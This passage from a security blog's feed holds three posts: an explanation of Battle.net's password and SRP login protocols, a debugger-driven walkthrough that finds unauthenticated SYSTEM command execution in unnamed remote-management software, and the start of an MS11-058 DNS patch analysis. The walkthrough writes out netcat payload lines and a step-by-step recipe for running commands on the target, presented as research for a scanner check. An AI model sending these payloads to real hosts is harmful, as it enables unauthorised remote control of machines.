</ol>
<p>I'll describe, in detail, how each of these work. The summary is, though, that at no point does a game client ever send a plaintext password to the server. The closest is the SHA1 of the password, which is used for account creation in old games. For more information, read on! </p>
<h2>CHAT protocol</h2>
<h3>Creating an account</h3>
<p>You can't create an account on CHAT.</p>
<h3>Logging in</h3>
<p>The login was plaintext, over an insecure connection.</p>
<h2>Old Login System</h2>
<p>The Old Login System (or OLS) is the original login system used by Battle.net. It uses a modified version of SHA1 hashing that I'm going to call <b>Broken-SHA1</b> for the remainder of this post. It's identical to SHA1 with the exception of an inverted shift or two. There's been a lot of discussion on whether or not this was intentional - to throw off reverse engineers - or a simple bug. Personally, I lean towards a bug, since there were other similar bugs throughout the login sequence on older games. Additionally, there is no evidence of anti-reverse engineering attempts in any of the Blizzard games I've worked on, even Warden and Lockdown and other measures are pure anti-hacking. </p>
<h3>Account creation under OLS</h3>
<p>This is quite possibly the riskiest part of the entire process. When you create an account under the OLS, you send it the username and a Broken-SHA1() hash of the uppercased password. The server validates that the username is valid, and if it is, it stores the Broken-SHA1 hash. </p>
<p>Interestingly, you can use any 160-bit value for the Broken-SHA1 hash, it doesn't actually have to be Broken-SHA1. This is because Battle.net simply stores the value it receives on the server side, and validates it when you log in.</p>
<h3>Account login under OLS</h3>
<p>When you log in, three values are used:</p>
<ul>
<li>A 32-bit token generated by the server (server seed)</li>
<li>A 32-bit token generated by the client (client seed)</li>
<li>The password</li>
</ul>
<p>The client seed and server seed are exchanged before the authentication is attempted. As before, the password is converted to uppercase, and hashed with Broken-SHA1. Then, the client and server seeds are appended to the password, and the Broken-SHA1 is calculated again. This gives a 160-bit value that is sent to the server. The server takes the same two values - which were exchanged - and the Broken-SHA1 of the uppercased password - which it has stored - and performs the same calculation. The server compares the hash it generated to the hash that the client sent, and if everything goes according to plan, the hashes match. </p>
<h2>New Login System</h2>
<p>The New Login System (NLS) first appeared - as unused code - in Diablo 2. It was then used in Warcraft 3, and a slightly modified version was used in World of Warcraft. I can't comment on Starcraft 2 or Diablo 3, having never worked on them. </p>
<p>NLS uses the <a href='https://en.wikipedia.org/wiki/Secure_Remote_Password_protocol'>SRP Version 6</a> as the basis for its authentication protocol, which uses RSA-like public key cryptography. I explain this in full <a href='http://skullsecurity.org/wiki/index.php/SRP'>on my wiki</a>, but I'll summarize the important parts here. </p>
<h3>Account creation under NLS</h3>
<p>When a user creates an account, the client sends three values, defined as <i>s</i>, <i>v</i>, and the username. </p>
<ul>
<li><i>s</i> is the salt. It is randomly generated from a cryptographically secure random number generator.</li>
<li><i>v</i> is the validator. It is generated from the formula <b>v = g<sup>x</sup> % N</b>.</li>
<li><i>g</i> and <i>N</i> are known constants, shared between all installations of all games.</li>
<li><i>x</i> is defined as <b>x = SHA1(s + SHA1(C + ":" + P))</b></li>
<li><i>C</i> and <i>P</i> are the username and password, respectively, converted to uppercase.</li>
</ul>
<p>So, to summarize, the client sends the salt, and the verifier. The salt is randomly generated, and the verifier is based on the username, password, and salt. </p>
<h3>Account login under NLS</h3>
<p>Account logins are a little more complicated. There are four steps. </p>
<p>First, the client sends <i>A</i> and <i>C</i>. </p>
<ul>
<li><i>A</i> is a 256-bit public key based on <i>a</i>, which is a randomly generated session key. It is derived from <i>A</i> using the following formula: <b>A = g<sup>a</sup> % N</b>. As before, <i>g</i> and <i>N</i> are constants. <i>a</i> is a private key generated from random bytes.</li>
<li><i>C</i> is the username, converted to uppercase.</li>
</ul>
<p>Second, the server replies with <i>s</i> and <i>B</i></p>
<ul>
<li><i>s</i> - the salt - is the same one the client sent when it created the account.</li>
<li><i>B</i> is a public session key, generated by the server much the same way as <i>A</i> is generated by the client - <b>B = (v + g<sup>b</sup>) % N</b>, where <i>b</i> is randomly generated.</li>
</ul>
<p>Third, the client sends <i>M1</i> (otherwise known as the proof). It is calculated by a fairly complex formula:<br />
<b>M1 = SHA1(I, SHA1(C), s, A, B, K)</b></p>
<p>Where:</p>
<ul>
<li><i>I</i> is a constant, calculated in a fairly weird way (see my wiki for more details)</li>
<li><i>C</i> is, as before, the uppercase username</li>
<li><i>s</i>, <i>A</i>, and <i>B</i> are the salt, client public key, and server public key, as exchanged</li>
<li><i>K</i> is a shared key derived from <i>S</i></li>
</ul>
<p><i>S</i> is where all the magic happens. It's generated through a different formula on the server and the client - since the server knows <i>A</i>, <i>B</i>, and <i>b</i>, while the client knows <i>A</i>, <i>a</i>, and <i>B</i>. Here are the respective formulas:</p>
<ul>
<li>(client) <b>S = ((N + B - v) % N)(<sup>a + ux</sup>) % N</b></li>
<li>(server) <b>S = (A * (v<sup>u</sup> % N))<sup>b</sup> % N</b></li>
</ul>
<p>Keep in mind that <i>v</i> - the verifier - is what was sent when the account was created, and is based on the uppercase username, uppercase password, and the salt. The variable <i>u</i> is derived from <i>B</i> and <i>x</i> is derived from the username and password. </p>
<p>So, the client calculates its value, and sends it to the server. The server calculates its value, and compares it to what the client sent. If they match, authentication (of the client) is successful and the server returns M2. </p>
<p>And that brings us to the last step. Not only does the client prove to the server that it knows the password, the server also proves to the client that it knows the password. When implementing the protocol, this isn't technically necessary, but it's a security measure so I implemented it anyway. </p>
<p>M2 is simply: <b>M2 = SHA1(A + M1 + K)</b>, where <i>A</i> is, as before, the client's public key; <i>M1</i> is the value from the previous step; and <i>K</i> is, as with M1, the shared key derived from <i>S</i>, which is the complex formula discussed above. </p>
<p>The server and client both generate M2, and the server sends M2 to the client. If the client verifies that M2 is correct, then the client is sure that it's talking to a valid server and it continues the connection. </p>
<p>At this point, the protocols continue on as before. In the beta for Warcraft 3, all messages after the login completed were encrypted with RC4 using K as a shared key. Once Warcraft 3 was released, the encryption was disabled and all traffic after the login is currently plaintext.</p>
<h2>What's the point?</h2>
<p>The point of writing this blog is to give some insight into Battle.net's protocols, and to demonstrate that, at no time during the normal use of any Battle.net games does Blizzard have access to your plaintext password. Yes, the passwords are converted to uppercase before hashing. That's probably a bad idea - especially in the modern world - but it really dates back to their first Battle.net game - Diablo - from 1996. Since then, they've developed much better login systems, but they've kept the passwords case insensitive. </p>
<p>If you fail a certain number of logins against Battle.net, your IP address is temporarily banned. This makes it fairly difficult to bruteforce most accounts. It requires significant resources (proxies, bots, etc.) to make an attack feasible. It's much easier to compromise accounts via phishing and malware, so that's what attackers do. </p>
<p>There are lots of things I didn't go over - upgrading OLS accounts to NLS, email password resets, password changes, etc. - but they're all fairly logical, and use the minimum amount of information required (typically the same information as you used to create the account). You can find more information on <a href='http://skullsecurity.org/wiki/index.php/SRP'>my Battle.net SRP page</a> and on <a href='http://www.bnetdocs.org/'>BNetDocs Redux</a>. </p>
<p>There are also Battle.net authenticator tokens, which I haven't researched at all so I can't talk about. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2012/battle-net-authentication-misconceptions/feed</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>Remote control manager FAIL</title>
		<link>http://www.skullsecurity.org/blog/2011/remote-control-manager-fail</link>
		<comments>http://www.skullsecurity.org/blog/2011/remote-control-manager-fail#comments</comments>
		<pubDate>Mon, 19 Dec 2011 15:40:59 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Reverse Engineering]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=1197</guid>
		<description><![CDATA[Hey guys, Today, I thought it'd be fun to take a good look at a serious flaw in some computer-management software. Basically, the software is designed for remotely controlling systems on networks (for installing updates or whatever). As far as I know, this vulnerability is currently unpatched; there are allegedly mitigations, but you have to [...]]]></description>
			<content:encoded><![CDATA[<p>Hey guys,</p>
<p>Today, I thought it'd be fun to take a good look at a serious flaw in some computer-management software. Basically, the software is designed for remotely controlling systems on networks (for installing updates or whatever). As far as I know, this vulnerability is currently unpatched; there are allegedly mitigations, but you have to pay to see them! (A note to vendors - making us pay for your patches or mitigation notes only makes your customers less secure. Please stop doing that!)</p>
<p>This research was done in the course of my work at Tenable Network Security on the Reverse Engineering team. It's an awesome team to work on, and we're always hiring (for this team and others)! If you're interested and you have mad reverse engineering skillz, or any kind of infosec skillz, get in touch with me privately! (rbowes-at-tenable-dot-com if you're interested in applying)</p>
<h2>The advisory</h2>
<p>I'm not going to talk too much about the advisory, but I'll just say this: it was on ZDI, and basically said that the vulnerability was related to improper validation of credentials allowing the execution of arbitrary shell commands. Pretty vague, but certainly an interesting challenge!</p>
<h2>Getting started</h2>
<p>One of the obvious places to start is to load up the .exe file into IDA (disassembler) and look at the networking functions. Another - easier - option is load up a debugger (WinDbg) and throw a breakpoint on winsock32!recv or ws2_32!recv, then send data to the program to see where it breaks. That's normally the first thing I try if the protocol is unknown (and sometimes even if it's a known protocol). </p>
<p>By putting a breakpoint on recv, sending it data with netcat, and using the 'gu' command to step out of the receive function, I wound up looking at this code in IDA:<br />
<img src='http://www.skullsecurity.org/blogdata/01-remoteexec-recvloop.png'></p>
<p>Basically, it calls recv with a length of '1' and stores the results in a local buffer. Then it jumps to this bit of code:<br />
<img src='http://www.skullsecurity.org/blogdata/02-remoteexec-recvend.png'></p>
<p>Essentially, it's checking if the value byte it just received is '0' (the null byte, "\0"). If it is, it falls through, does some logging, then returns (not shown). </p>
<p>I decided to call this function "read_from_socket". </p>
<p>Based on this little bit of code, I determined some information about the protocol - it receives a series of bytes, up to some maximum length, that are terminated by a null byte ("\0"). </p>
<h2>Diving into the protocol</h2>
<p>The next thing we want to know is how or where the received data is used. We can trace through the assembly, or we can do it the easy way and use a debugger. So, naturally, I decided to take the easy way out and continued using the debugger. I opted to put a breakpoint at 40507c using Windbg, which is just below the recv code shown above:</p>
<pre>0:002&gt; bp 40507c</pre>
<p>Then I resume the process in Windbg with the 'g' command (or I can press F5):</p>
<pre>0:002&gt; g</pre>
<p>Then I use netcat to send 'test\0' (that is, test with a null byte at the end) to the process (note that this isn't the real port):</p>
<pre><font color='#00FF00'>ron@armitage</font> <font color='#8080FF'>~ $</font> echo -ne "test\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open
 sent 5, rcvd 0
<font color='#00FF00'>ron@armitage</font> <font color='#8080FF'>~ $</font>
</pre>
<p>And, of course, back in the debugger, it hits our breakpoint. After that, we inspect ecx (which should be the buffer):</p>
<pre>0:002> bp 40507c
0:002> g
Breakpoint 0 hit
eax=00000005 ebx=001576a8 ecx=00a2ec64 edx=00a2edbc esi=001576a8 edi=00000000
eip=0040507c esp=00a2eb08 ebp=00a2eb24 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
XXXXXXXX+0x507c:
0040507c 51              push    ecx
0:001> db ecx
00a2ec64  74 65 73 74 00 00 00 00-00 ff a2 00 10 00 00 00  test............
[...]
</pre>
<p>ecx, as we would expect, points to the buffer we just received ("test\0", followed by whatever). Now, we want to know where that data is used. To do that, we use a break-on-access breakpoint - ba - which will break the program's execution when the data is read, then 'g', for 'go', to continue execution:</p>
<pre>0:001> ba r4 00a2ec64
0:001> g
</pre>
<p>Immediately afterwards, as expected, the breakpoint is hit when the process tries to read the "test\0" string:</p>
<pre>Breakpoint 1 hit
eax=00000005 ebx=001576a8 ecx=00000000 edx=00000074 esi=001576a8 edi=00000000
eip=00404074 esp=00a2eb38 ebp=00a2ec8c iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
XXXXXXXX+0x4074:
00404074 85d2            test    edx,edx</pre>
<p>It breaks at 404074! That means that line is where the buffer is read from memory (actually, it's read the line before - the break happens after the read, not before it)</p>
<p>Going back to IDA, here's what the code looks like:<br />
<img src='http://www.skullsecurity.org/blogdata/08-remoteexec-digits.png'></p>
<p>I circled the points where the buffer is read in red. First, it reads each character from a local variable that I named 'buffer' - [ebp+ecx+buffer] - into edx as a signed value (when you see a buffer being read with 'movsx' - move sign extend - that often leads to sign-extension vulnerabilities, though not in this case). It checks if it's null - which would mean it's at the end of the string - and exits the loop if it is.</p>
<p>A few lines later, the second time the buffer is read, it's read into ecx. Each character is passed into _isdigit() and, if it's not a digit, it exits the loop with an error message, "Illegal Port number". Hmm! So, now we know that the first part of the protocol is apparently a port number terminated by a null byte. Awesome! But weird? Why are we telling it a port number?</p>
<h2>Connect back</h2>
<p>If we scroll down in IDA a little bit, and find where the function ends after successfully reading a port number, here's the code we find:<br />
<img src='http://www.skullsecurity.org/blogdata/09-remoteexec-connectback.png'></p>
<p>There's some logging here - I love logging! - that says the value we just received is called the 'return socket'. Then a function is called that basically connects back to the client on the port number just received. I'm not going to go any deeper because the code isn't interesting or useful to us. I never did figure out what this second connection is used for, but the program doesn't seem to care if it fails.</p>
<p>So that's the first client-to-server message figured out! To summarize a bit:</p>
<ul>
<li>Client connects to server</li>
<li>Client sends server a null-terminated port number</li>
<li>Server connects back to client on that port</li>
<li>The new connection isn't used for anything, as far as I can tell</li>
</ul>
<h2>Moving right along...</h2>
<p>Now that we've got the first message all sorted out, we're interested in what the second message is. Rather than trying to navigate the tangled code (which leads through a select() and a few other functions), we're going to generate another packet with netcat and see where it's read, just like last time. </p>
<p>First, we clear our breakpoints and put a new one on 40507c again (the same place as our last breakpoint - right after a packet is read):</p>
<pre>0:001> bc *
0:001> bp 0040507c
0:001> g</pre>
<p>Then we connect with netcat, this time with a proper connect-back port ("12345\0") and a second string ("test\0"):</p>
<pre><font color='#00FF00'>ron@armitage</font> <font color='#8080FF'>~ $</font> echo -ne "12345\0test\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open
</pre>
<p>The breakpoint we set earlier will fire on the first line again:</p>
<pre>Breakpoint 0 hit
eax=00000006 ebx=001576a8 ecx=00a2ec64 edx=00a2edbc esi=001576a8 edi=00000000
eip=0040507c esp=00a2eb08 ebp=00a2eb24 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
xxxxxxxx+0x507c:
0040507c 51              push    ecx
0:001> db ecx
00a2ec64  31 32 33 34 35 00 00 00-00 ff a2 00 10 00 00 00  12345...........</pre>
<p>But we aren't interested in that, and run 'g' to continue:</p>
<pre>0:001> g
Breakpoint 0 hit
eax=00000005 ebx=001576a8 ecx=00a2ec64 edx=00a2edbc esi=001576a8 edi=00000000
eip=0040507c esp=00a2e7e0 ebp=00a2e7fc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
xxxxxxxx+0x507c:
0040507c 51              push    ecx
0:001> db ecx
00a2ec64  74 65 73 74 00 00 00 00-00 00 00 00 00 00 00 00  test............</pre>
<p>Now we've found the string we're interested in!</p>
<p>Once again, we put a breakpoint-on-read on ecx and resume execution. The process will break again when the "test\0" string is read:</p>
<pre>0:001> g
Breakpoint 1 hit
eax=74736574 ebx=001576a8 ecx=00a2ec64 edx=00000000 esi=001576a8 edi=00000000
eip=00422162 esp=00a2e808 ebp=00a2ec8c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
xxxxxxxx+0x22162:
00422162 bafffefe7e      mov     edx,7EFEFEFFh</pre>
<p>That is, at 422162. A pro-tip - if you notice the constant 0x7EFEFEFF, or something similar, you're probably in a string manipulation function. And this is no exception - according to IDA, this is strlen(). To get out, we use 'gu':</p>
<pre>0:001> gu
Breakpoint 1 hit
eax=74736574 ebx=001576a8 ecx=00000001 edx=00000000 esi=00a2ec64 edi=00a3b0b8
eip=00422424 esp=00a2e708 ebp=00a2e710 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
xxxxxxxx+0x22424:
00422424 89448ffc        mov     dword ptr [edi+ecx*4-4],eax ds:0023:00a3b0b8=00000000
</pre>
<p>Now we're in memcpy! At this point, I started using 'gu' over and over till I finally found something interesting:</p>
<pre>0:001> gu
eax=00a3b0b8 ebx=001576a8 ecx=00000001 edx=00000000 esi=00a35078 edi=00000000
eip=0041beb6 esp=00a2e718 ebp=00a2e734 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
xxxxxxxx+0x1beb6:
0041beb6 83c40c          add     esp,0Ch
0:001> gu
eax=00440000 ebx=001576a8 ecx=004448e4 edx=00000032 esi=00a35078 edi=00000000
eip=0041c056 esp=00a2e73c ebp=00a2e74c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
xxxxxxxx+0x1c056:
0041c056 83c40c          add     esp,0Ch
0:001> gu
eax=00440000 ebx=001576a8 ecx=004448e4 edx=00000032 esi=00a35078 edi=00000000
eip=00419d00 esp=00a2e754 ebp=00a2e798 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
xxxxxxxx+0x19d00:
00419d00 83c40c          add     esp,0Ch
0:001> gu
eax=00a30000 ebx=001576a8 ecx=00000000 edx=00a2e734 esi=00a35078 edi=00000000
eip=00416fe5 esp=00a2e7a0 ebp=00a2e7d4 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
xxxxxxxx+0x16fe5:
00416fe5 83c40c          add     esp,0Ch
0:001> gu
eax=00000000 ebx=001576a8 ecx=00436f88 edx=00040000 esi=001576a8 edi=00000000
eip=004187f5 esp=00a2e7dc ebp=00a2e7ec iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
xxxxxxxx+0x187f5:
004187f5 83c40c          add     esp,0Ch
0:001> gu
eax=00000000 ebx=001576a8 ecx=00436f88 edx=00040000 esi=001576a8 edi=00000000
eip=0041f5ca esp=00a2e7f4 ebp=00a2e800 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
xxxxxxxx+0x1f5ca:
0041f5ca 83c40c          add     esp,0Ch
0:001> gu
eax=00000000 ebx=001576a8 ecx=00436f88 edx=00040000 esi=001576a8 edi=00000000
eip=00404465 esp=00a2e808 ebp=00a2ec8c iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
xxxxxxxx+0x4465:
00404465 83c408          add     esp,8</pre>
<p>Finally, at 404465, I see this code:<br />
<img src='http://skullsecurity.org/blogdata/14-remoteexec-steppedout.png'></p>
<p>"Getting password"! It looks like I ran into some authentication code! If I scroll down further, I find this code:</p>
<p><img src='http://skullsecurity.org/blogdata/17-remoteexec-receive-cmd.png'></p>
<p>"Getting command", followed by a call to read_from_socket(), which is the function that basically does recv(). Sweet! </p>
<p>It would take too many screenshots to show it all here, but to summarize the function I'm looking at, it basically takes the following actions:</p>
<ul>
<li>Logs "Getting username"</li>
<li>Reads a string up to a null byte (\0)</li>
<li>(we broke into the function right here while it was processing that string)</li>
<li>Logs "Getting password"</li>
<li>Reads a string up to a null byte (\0)</li>
<li>Logs "Getting command"</li>
<li>Reads a string up to a null byte (\0)</li>
</ul>
<p>There are many ways to proceed from here, but I figured I'd put a breakpoint on the read following the "Getting command" line, and then to send a string with all the requisite fields (a connect-back port, a username, a password, and a command). Knowing from the advisory that the vulnerability was in the authentication, I decided to try sending in garbage values. I didn't try looking at the code where the username/password are verified - I figured I'd just skip that code (it's pretty long). </p>
<pre>0:001> bc *
0:001> bp 40465d
0:001> g</pre>
<p>Then run the app and use netcat to send a test command:</p>
<pre><font color='#00FF00'>ron@armitage</font> <font color='#8080FF'>~ $</font> echo -ne "12345\0myuser\0mypass\0mycommand\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open
</pre>
<p>And, it breaks! </p>
<pre>0:001> bc *
0:001> bp 40465d
0:001> g
Breakpoint 0 hit
eax=00a2edbc ebx=001576a8 ecx=00a2e83c edx=00000032 esi=001576a8 edi=00000000
eip=0040465d esp=00a2e804 ebp=00a2ec8c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
xxxxxxxx+0x465d:
0040465d e84e090000      call    xxxxxxxx+0x4fb0 (00404fb0)</pre>
<p>Sweet! </p>
<p>I took a few dead-end paths here, but eventually I decided that, knowing that 'mycommand' is the command it's planning to run, I'd put a breakpoint on CreateProcessA, send the 'mycommand' string again, and see what happens:</p>
<pre>0:001> bc *
0:001> bp kernel32!CreateProcessA
0:001> bp kernel32!CreateProcessW
0:001> g
</pre>
<p>Then the netcat command again:</p>
<pre><font color='#00FF00'>ron@armitage</font> <font color='#8080FF'>~ $</font> echo -ne "12345\0myuser\0mypass\0mycommand\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open
</pre>
<p>Then, the breakpoint fires:</p>
<pre>Breakpoint 0 hit
eax=00000000 ebx=001576a8 ecx=00a2db48 edx=00a29cc0 esi=00000029 edi=00000000
eip=77e424b9 esp=00a29788 ebp=00a2df60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
kernel32!CreateProcessA:
77e424b9 8bff            mov     edi,edi</pre>
<p>Sure enough, it breaks! I immediately run 'gu' ('go up') to exit the CreateProcessA function:</p>
<pre>0:001> gu
eax=00000000 ebx=001576a8 ecx=77e722e9 edx=00000000 esi=00000029 edi=00000000
eip=0040b964 esp=00a297b4 ebp=00a2df60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
xxxxxxxx+0xb964:
0040b964 898558bdffff    mov     dword ptr [ebp-42A8h],eax ss:0023:00a29cb8=7ffdd000</pre>
<p>And find myself at 40b964. Loading up that address in IDA, here's what it looks like (the call is circled in red):<br />
<img src='http://skullsecurity.org/blogdata/27-remoteexec-createprocess-ida.png'></p>
<p>I'd like to verify the command that's being sent to CreateProcessA, to see if it's something I can manipulate easily. So I put a breakpoint at 40b95e:</p>
<pre>0:001> bc *
0:001> bp 40b95e
0:001> g</pre>
<p>And send the usual command:</p>
<pre><font color='#00FF00'>ron@armitage</font> <font color='#8080FF'>~ $</font> echo -ne "12345\0myuser\0mypass\0mycommand\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open</pre>
<p>When it breaks, I dump the memory at ecx - the register that stores the command:</p>
<pre>Breakpoint 0 hit
eax=00000000 ebx=001576a8 ecx=00a2db48 edx=00a29cc0 esi=00000029 edi=00000000
eip=0040b95e esp=00a2978c ebp=00a2df60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
xxxxxxxx+0xb95e:
0040b95e ff15cc004300    call    dword ptr [xxxxxxxx+0x300cc (004300cc)] ds:0023:004300cc={kernel32!CreateProcessA (77e424b9)}
0:001> db ecx
00a2db48  43 3a 5c 50 52 4f 47 52-41 7e 31 5c xx xx xx xx  C:\PROGRA~1\XXXX
00a2db58  xx xx 7e 31 5c xx xx xx-xx 5c 41 67 65 6e 74 5c  XX~1\XXXX\Agent\
00a2db68  6d 79 63 6f 6d 6d 61 6e-64 20 00 00 00 00 00 00  mycommand ......</pre>
<p>Aha! It's prepending the path to the program's folder to our command and passing it to CreateProcessA! The natural thing to do is to use '../' to escape this folder and run something else, but that doesn't work. I never actually figured out why - and it seemed to kinda work - but it was doing some sort of filtering that would give me bad results. Eventually, I had an idea - which programs are stored in that folder anyways?<br />
<img src='http://skullsecurity.org/blogdata/31-remoteexec-programs.png'></p>
<p>execute.exe? hide.exe? runasuser.exe? Could it BE that simple?</p>
<p>I fire up netcat again:</p>
<pre><font color='#00FF00'>ron@armitage</font> <font color='#8080FF'>~ $</font> echo -ne "12345\0myuser\0mypass\0runasuser calc\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open
 sent 35, rcvd 1
</pre>
<p>And check the process list:<br />
<img src='http://skullsecurity.org/blogdata/33-remoteexec-calc-running.png'></p>
<p>And ho-ly crap! We have command execution! Unauthenticated! As SYSTEM!! Game over, I win! </p>
<h2>Writing the check</h2>
<p>But wait, there's no output on netcat. No indication at all that this worked, in fact. Crap! Wut do?</p>
<p>It occurred to me that this particular application also has a Web server built in. Can I write to files using this command execution? I try:</p>
<pre><font color='#00FF00'>ron@armitage</font> <font color='#8080FF'>~ $</font> echo -ne "12345\0myuser\0mypass\0runasuser cmd /c \"ipconfig > c:\\myfile\"\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open
 sent 60, rcvd 1
</pre>
<p>And check the file:<br />
<img src='http://skullsecurity.org/blogdata/36-remoteexec-success.png'></p>
<p>Yup, works like a charm! (Don't mind the bad ip address - I took some of these screenshots at different times than others)</p>
<p>I change the code a little bit to point to the Web root and give it a go, and sure enough it works. With that, I can now write a proper check for Nessus. And with that, I'm done. </p>
<h2>Summary</h2>
<p>So, the TL;DR version of this is:</p>
<ul>
<li>Connect to the host</li>
<li>Send it a port number, following by a null byte ("\0") - the host will try to connect back on that port</li>
<li>Send a username and a password, each terminated by a null byte - these will be ignored</li>
<li>Send a command using the "runasuser.exe" program - included</li>
<li>Profit!</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2011/remote-control-manager-fail/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>A deeper look at ms11-058</title>
		<link>http://www.skullsecurity.org/blog/2011/a-deeper-look-at-ms11-058</link>
		<comments>http://www.skullsecurity.org/blog/2011/a-deeper-look-at-ms11-058#comments</comments>
		<pubDate>Tue, 23 Aug 2011 14:10:46 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[DNS]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Reverse Engineering]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=1158</guid>
		<description><![CDATA[Hey everybody, Two weeks ago today, Microsoft released a bunch of bulletins for Patch Tuesday. One of them - ms11-058 - was rated critical and potentially exploitable. However, according to Microsoft, this is a simple integer overflow, leading to a huge memcpy leading to a DoS and nothing more. I disagree. Although I didn't find [...]]]></description>
			<content:encoded><![CDATA[<p>Hey everybody,</p>
<p>Two weeks ago today, Microsoft released a bunch of bulletins for Patch Tuesday. One of them - <a href='https://www.microsoft.com/technet/security/bulletin/ms11-058.mspx'>ms11-058</a> - was rated critical and potentially exploitable. However, according to <a href='https://blogs.technet.com/b/srd/archive/2011/08/09/vulnerabilities-in-dns-server-could-allow-remote-code-execution.aspx'>Microsoft</a>, this is a simple integer overflow, leading to a huge memcpy leading to a DoS and nothing more. I disagree. </p>
<p>Although I didn't find a way to exploit this vulnerability, there's more to this vulnerability than meets the eye - it's fairly complicated, and there are a number of places that I suspect an experienced exploit developer might find a way to take control. </p>
<p>In this post, I'm going to go over step by step how I reverse engineered this patch, figured out how this could be attacked, and why I don't believe the vulnerability is as simple as the reports seem to indicate. </p>
<p>Oh, and before I forget, the Nessus Security Scanner from Tenable Network Security (my employer) has both remote and local checks for this vulnerability, so if you want to check your network go run Nessus now! </p>
<h2>The patch</h2>
<p>The patch for ms11-058 actually covers two vulnerabilities:</p>
<ol>
<li>An uninitialized-memory denial-of-service vulnerability that affects Windows Server 2003 and Windows Server 2008</li>
<li>A heap overflow in NAPTR records that affects Windows Server 2008 only</li>
</ol>
<p>We're only interested in the second vulnerability. I haven't researched the first at all. </p>
<p>Thankfully, the <a href='https://blogs.technet.com/b/srd/archive/2011/08/09/vulnerabilities-in-dns-server-could-allow-remote-code-execution.aspx'>Microsoft writeup</a> went into decent detail on how to exploit this issue. The vulnerability is actually triggered when a host parses a <em>response</em> NAPTR packet, which means that a vulnerable host has to make a request against a malicious server. Fortunately, due to the nature of the DNS protocol, that isn't difficult. For more details, check out that Microsoft article or read up on DNS. But, suffice it to say, we can easily make a server into processing our records! </p>
<h2>NAPTR records</h2>
<p>Before I get going, let's stop for a minute and look at NAPTR records. </p>
<p>NAPTR (or Naming Authority Pointer) records are designed for some sorta service discovery. They're defined in RFC2915, which is fairly short for a RFC. But I don't recommend reading it - I did, and it's pretty boring.  In spite of my reading, I still don't understand exactly what NAPTR records really do. They seem to be used frequently for SIP and related protocols, though.</p>
<p>What matters is, the format of a NAPTR resource record is:</p>
<ul>
<li>(domain-name) question</li>
<li>(int16) record type</li>
<li>(int16) record class</li>
<li>(int32) time to live</li>
<li>(int16) length of NAPTR record (the rest of this structure)</li>
<li>(int16) order</li>
<li>(int16) preference</li>
<li>(character-string) flags</li>
<li>(character-string) service</li>
<li>(character-string) regex</li>
<li>(domain-name) replacement</li>
</ul>
<p>(A resource record, for those of you who aren't familiar with DNS, is part of a DNS packet. A dns "answer" packet contains one or more resource records, and each resource record has a type - A, AAAA, CNAME, MX, NAPTR, etc. Read up on DNS for more information.)</p>
<p>The first four fields in the NAPTR record are common to all resource records in DNS. Starting at the length, the rest are specific to NAPTR and the last four are the interesting ones. The (character-string) and (domain-name) types are defined in RFC1035, which I don't recommend reading either. The important part is:</p>
<ul>
